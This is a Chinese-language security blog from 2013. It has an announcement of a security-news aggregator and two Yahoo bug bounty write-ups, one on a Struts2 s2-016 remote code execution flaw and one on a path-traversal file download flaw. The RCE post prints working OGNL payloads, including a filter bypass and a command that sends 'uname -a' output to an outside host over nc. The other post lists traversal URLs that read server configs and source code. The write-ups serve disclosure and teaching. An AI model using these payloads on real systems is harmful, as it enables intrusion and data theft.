2013年11月24日 星期日

EXP.tw - 文章投稿、駭客資訊、資安文章








前幾天看到 .tw 域名特價中,失心瘋就買下了幾個 domain

買了之後也不知道幹嘛,

感覺 EXP.tw 那麼短可以放個什麼東西在上面,就一時興起隨手寫了個服務在上面。

寫了兩三天,順便練練寫網頁的手感 XD


目前提供的功能如下

Exploits
  • 漏洞資料庫
  • 單純 Exploit-db.com 上面的文章


Hacked
  • 被入侵網站列表
  • 資料來源 Zone-h.org
  • 資料來源 Wooyun.org


Articles
  • 比較著重在 駭客、駭客團體、資安研究員的 Blog RSS Feed 上
  • 百度 Blog 上面的資安相關文章,但是百度 Blog 不給 RSS 訂閱,上面又有許多大陸駭客、資安研究員很有質量的文章... 每次都要特地去看很麻煩就放進來了
  • 資安新聞的話可能之後會在獨立一個類別放置


Writing
  • 對於資安上面的文章發表
  • 有 科普教學、八卦爆卦、心得分享、技巧分享、好物分享、其他雜項 等
  • 歡迎投稿:)


SNS
  • 知名駭客、資安研究員的 Twitter、微博等社交網路內容,基本上很多好玩的或是八卦都是從這些地方出來的 :P


網址在

http://exp.tw/



就請各位不吝指教囉:P
( 還有歡迎投稿 XDD )


2013年11月4日 星期一

Yahoo Bug Bounty Part 2 - *.login.yahoo.com Remote Code Execution 遠端代碼執行漏洞


Yahoo 系列的 Part 2 來囉~

Bug Bounty 緣起說明以及 Part 1 請看以下鏈結
Yahoo Bug Bounty Part 1 - 台灣 Yahoo Blog 任意檔案下載漏洞


這次比較有趣,是遠端代碼執行!

有漏洞的點主要在下面兩個網站:
b.login.yahoo.com
apt.login.yahoo.com

讓我們來看看網頁長什麼樣子,

apt 似乎是 Yahoo 的線上廣告管理系統,


b 就看不出是什麼東西了XD


出問題的原因在於這兩個網站撰寫時是使用了 Struts2 這個 Java Framework,

今年七月中的時,Struts2 爆發一個嚴重的 Remote Code Execution 等級的漏洞,這個漏洞被官方編號為 s2-016
(基本上 Struts2 可以出包的地方都出過一遍了之後再出事應該也不意外...)

大致是說在 Struts2 中支援一些 Prefix 讓程式開發人員可以方便導向如 action, redirect, redirectAction 等,

但在處理這些方法時並沒有做好過濾,造成在這之中的內容可以用 ${ognl_exp} 的形式來執行 OGNL 如:
redirectAction: ${123*123}  
網站會跳轉到 /15129.action,漏洞存在代表 123*123 有被伺服器運算到!

好玩的是,官方公佈漏洞時順便把攻擊 PoC 一起釋出,等於駭客可以不用再去注意漏洞發生細節在那,可以直接開始修改 Poc 並且攻擊,

那個時期網路上風雲變色,一堆網站都來不及修補深受其害xDD

那時大陸著名漏洞回報網站 烏雲 上也一堆人在利用這個弱點洗 Rank 還滿有趣的xDD





在用剛剛的方法判斷 Yahoo 存在這個漏洞後,接著就是嘗試使用攻擊代碼嘗試執行指令,但攻擊的 Exploit 卻不能直接利用,
(想想也是拉,不然早就被一堆人玩到爆了XD)

所以不能利用的原因在哪裡呢?接下來就是研究的部分,

來感嘆一下XD

很多 Script Kiddie 只會用網路上現成的工具入侵,

但如果不確實明白原理的話很常會出現漏洞存在但工具無法使用的情況,

例如 Library 路徑的不同,網路上工具都是寫死的如
com.opensymphony.xwork2
這樣只要路徑不再預設位置上的話工具就會失敗

那要怎麼辦呢?來講個小技巧,

在無法判斷位置的情況下可以利用 #request 這個變數來看位置以及一些敏感資訊,

以這個例子來講:
redirect: ${#request}
可以看到網站轉址的地方就是 #request 變數的內容,
(看一堆東西噴出來還滿有成就感的cc)

從這裡可以看到位置是預設的沒錯,還有一些敏感資訊可以記著說不定以後會用到:P

在測試的過程中發現有特定的 pattern 會造成 Exploit 失敗,

猜測在伺服器上似乎有 Filter 或是一些其他的設定,造成 Exploit 失敗,

所以勢必得找到那些 patttern 繞過它!!

不過好在利用的是 s2-16 redirect 弱點,可以由轉址的方式來 leakge 出一些資訊判斷 Java Code 是否執行成功,所以雖然是用黑盒但可以用 Blind 的方式來進行猜測,

測試後發現,

Blind 後發現 patterns 好像有
(並不完全)
  1. 不能有逗點後的 method 
  2. 不能有雙引號
  3. 不能有些特定關鍵字


所以我們要只要繞過這些限制便可以透過去執行 Java Code 的!

所以最後是透過改寫 s2-016 繞過這些 patterns 以及 OGNL Static Method 的方式來執行指令。

最後的 PoC
redirect: ${
#_memberAccess.allowStaticMethodAccess%3dtrue,
#context[#parameters.aa]%3dfalse,
#_memberAccess.excludeProperties%3d@java.util.Collections@EMPTY_SET,
@java.lang.Thread@sleep(10000)
}
&aa=xwork.MethodAccessor.denyMethodExecution


可以讓伺服器睡十秒,
(Total Duration 那欄可以看到超過 10000 ms)


接著是執行系統指令的部分,

不過那時也凌晨三四點了,想睡覺懶得踹直接硬來把指令結果反連到自己伺服器上代表系統命令有執行成功就好XD

執行 uname -a 指令並且將結果傳回至我的伺服器上,
redirect: ${
#_memberAccess.allowStaticMethodAccess%3dtrue,
#context[#parameters.aa]%3dfalse,
#_memberAccess.excludeProperties%3d@java.util.Collections@EMPTY_SET,
@java.lang.Runtime@getRuntime().exec(new java.lang.String[]{#parameters.a1,#parameters.a2,#parameters.a3}),
}
&aa=xwork.MethodAccessor.denyMethodExecution
&a1=/bin/sh
&a2=-c
&a3=uname -a | nc orange.tw 12345


耶結案,<( ̄︶ ̄)>


Yahoo 系列應該到此結束吧!

真的是一個滿有趣的體驗的!而且 Yahoo 給的獎金真的滿有誠意的!!!XD
(只是領的方式比較繁瑣 =_=)

有機會的話以後可以來嘗試當個獎金獵人XD

最後附上個 The Bug Bounty List 給有興趣的人參考:)

2013年11月1日 星期五

Yahoo Bug Bounty Part 1 - 台灣 Yahoo Blog 任意檔案下載漏洞


Yahoo 開始有了 Bug Bounty 制度,


緣起也滿有趣的,

國外有個資安專家找到 Yahoo 的 XSS 漏洞結果回報後只得到 $12.50 Yahoo Company Store 優惠卷,

結果當然超不爽的,只好 po 個 爆料文 XDDD

結果開始各界撻伐 Yahoo 事情越演越烈,Yahoo Security Team 的 Director 只好發文解釋,
(不負責任標題翻譯: 對,我就是那個送你感謝潮T的人

內文大意整件事件的始末,

說明 Yahoo 並沒有完善的漏洞通報流程機制,
(商品卷還是自掏腰包買的)

說明會改善這個機制,會有新的獎勵機制在 10/31 公佈,並且新的機制可追溯到 7/1 號後回報漏洞的人,

並承諾會有 $150 - $15000 的 Reward
(所以至少會有 150 美金耶$_$)



當初看到時覺得挺有趣的就找了幾個問題回報 Yahoo,

Client Side 如 XSS 就算了,比較關注在 Server Side 上面的弱點,
(可以直接打進 Server 比較爽)

主要回報流程是寄到 security@yahoo-inc.com 這個信箱進行回報的動作,
(英文來來回回了好多信,英文苦手嗚嗚T_T)

經過回信確認且修補完成後來發個文章記錄一下細節,

有找過兩個弱點,預計分成兩篇文章記錄一下攻擊思路跟細節

第一篇是 台灣 Yahoo Blog 的任意檔案下載漏洞

第二篇是 *.login.yahoo.com Remote Code Execution 遠端代碼執行漏洞


其實兩個都不算少見的 Vulnerability,發現也不難,只是比起一般弱點,

第一個需要細心以及一些經驗,

第二個必須要瞭解漏洞原理並且改寫漏洞攻擊代碼



##### 正文開始 #####



Yahoo Blog 以及無名小站將於今年關閉,官方提供了一個線上備份下載的服務,

無名小站以及 Yahoo 部落格有著我國高中時期青春美好回憶,

到底這樣的服務有沒有問題呢? 讓我們繼續看下去,



點擊備份,完成後會得到一個鏈結,<username> 是自己的使用者帳號,
http://tw.download.blog.yahoo.com/eol/user_start_download.php
?filename=<username>-twblog.zip

點了可以下載
(廢話)

本著閒閒沒事找事做的心態,

<username> 的部分改成別人的使用者名稱會成功嗎?

登登,看起來失敗了 T__T

不過沒關係我們可以來研究研究,把網址改成
http://tw.download.blog.yahoo.com/eol/user_start_download.php
?filename=./<username>-twblog.zip

會怎麼樣呢?

It works
(感動T_T)

看起來是有東西可以玩玩,

踹踹 passwd
http://tw.download.blog.yahoo.com/eol/user_start_download.php
?filename=../../../../../etc/passwd
失敗T_T

不過 /tmp 下的檔案卻可以成功,
http://tw.download.blog.yahoo.com/eol/user_start_download.php
?filename=../../../../../tmp/.ICE-unix
大致先猜想有 open_basedir 之類的限制,

那換成一個逗點看看呢?
http://tw.download.blog.yahoo.com/eol/user_start_download.php
?filename=.
檔名是 user_start_download.php
大小是 8.0 KB

不過實際下載後,內容是空的,

大致可以先猜想一下程式邏輯檔名部分先取得,最後再組裝路徑去讀取,
(或者發生某些錯誤)

再把網址換成
http://tw.download.blog.yahoo.com/eol/user_start_download.php
?filename=/

檔名變成了 7fee0293d346458a97363c56378e68d5,

配合前面幾個測試,大致可以猜想程式的邏輯,

檔案存放的路徑在 <user-hash> / <username> -twblog.zip

不過似乎 zip 存放的地方與 webroot 不同,又有 open_basedir 的限制不能跳出來,

不過如果我們可以猜到 web 路徑或是 web server 的設定檔路徑,還是有機會可以繼續玩下去的!

經過一些猜測搜尋以及發揮你駭客的直覺!會發現設定檔在:
/home/y/conf/yapache/yapache.conf

直接讀了啦!!!
http://tw.download.blog.yahoo.com/eol/user_start_download.php
?filename=../../../../../home/y/conf/yapache/yapache.conf
BINGO ^____^

由於 Server 又是 Unix 或是 bsd-like 的系統,所以可以直接讀取目錄
http://tw.download.blog.yahoo.com/eol/user_start_download.php
?filename=../../../../home/y/share/htdocs/intlblogs/

最後就是讀 PHP 的 Source Code,來看一下程式邏輯到底是怎麼寫的?


$filename 從 GET 取得,沒經過檢查就放入路徑
$downloadFile = $downloadServer .$md5yuid. '/'. $filename; 

最後再丟入 fopen 進行讀取的動作 ,

$md5yuid 應該就是剛剛所說的 <user-hash>,產生方式是 md5($yuid)

$yuid 雖然不明瞭如何產生,不過在進行備份的動作時可以看到自己送出去的 yuid,

多看幾個賬號的 yuid 靠歸納法大致可以知道是

<username>#<2_bytes_random_char>
( Ex: account#gy )

看懂的應該很好寫一個下載任意帳號備份的 Proof-of-Concept 吧XD

到此結案收收寄信通報XD

八卦是程式碼裡面有看到簡體字還有表情符號滿可愛的 XDD